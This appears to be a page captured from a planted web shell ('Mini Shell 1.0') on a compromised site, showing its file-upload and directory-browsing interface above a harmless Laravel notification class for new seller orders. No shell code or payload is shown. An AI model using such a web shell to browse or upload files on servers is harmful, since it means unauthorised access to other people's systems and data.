HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/task/1784574/cwd/app/Notifications/
Upload File :
Current File : //proc/1784574/task/1784574/cwd/app/Notifications/NewSellerOrderNotification.php
<?php

namespace App\Notifications;

use App\Models\Order;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Notifications\Notification;

class NewSellerOrderNotification extends Notification implements ShouldQueue {
    use Queueable;

    public $order_id;

    public function __construct(int $order_id) {
        $this->order_id = $order_id;
    }

    public function via($notifiable): array {
        return ['database'];
    }

    public function toDatabase($notifiable): array {
        $order = Order::find($this->order_id);

        return [
            'url' => route('orders.details', $this->order_id),
            'message' => 'Haz realizado una nueva venta. Orden. ' . $order->code,
        ];
    }

    public function toArray($notifiable): array {
        return [];
    }
}